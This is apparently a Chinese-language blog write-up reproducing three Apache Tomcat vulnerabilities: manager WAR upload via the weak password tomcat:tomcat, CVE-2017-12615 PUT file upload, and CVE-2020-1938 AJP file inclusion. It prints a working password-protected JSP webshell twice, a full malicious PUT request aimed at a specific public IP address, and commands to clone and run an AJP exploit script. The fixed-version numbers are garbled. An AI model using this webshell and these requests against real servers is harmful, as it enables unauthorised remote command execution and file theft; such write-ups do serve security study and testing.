【漏洞复现】Tomcat 系列漏洞复现

一、任意文件上传(tomcat8)

1、漏洞原因

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。Tomcat7+权限分为:

1
2
3
4
5
6
7
8
- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手动修改了这些属性的情况下,才可以进行攻击。

2、漏洞复现

1、弱口令tomcat:tomcat访问后台

image-20240524144345487

2、上传webshell

将如下shell.jsp 压缩成zip,再修改后缀为war

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("pre");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("/pre");
}
%>

image-20240524144716290

3、执行命令

image-20240524144805697

二、PUT方法写入任意文件(CVE-2017-12615)

1、漏洞原因

该版本Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件

2、影响版本

Apache Tomcat 7.0.0 - 7.0.81

3、漏洞复现

1、首页

image-20240524145153634

2、抓包修改请求为PUT

后台对文件后缀还是有一定限制的,此处利用linux特性,在文件名后缀加上/ 即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PUT /shell.jsp/ HTTP/1.1
Host: 81.70.248.223:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("pre");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("/pre");
}
%>

image-20240524145600653

3、执行命令

image-20240524145644511

三、文件包含漏洞(CVE-2020-1938)

1、漏洞原因

Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等。如果此时还存在文件上传功能,则可能会导致代码执行。

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。

2、影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

不受影响版本:

  • Apache Tomcat 7.0.10034
  • Apache Tomcat 8.5.5134
  • Apache Tomcat 9.0.3134

3、漏洞复现

1、可用nmap 扫这两个端口

image-20240524151619712

2、漏洞复现

1
2
3
4
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi/
chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml

image-20240524152014946

此靶场无文件上传的功能,可以手动进入容器中写入一个webshell,之后包含,即可getshell。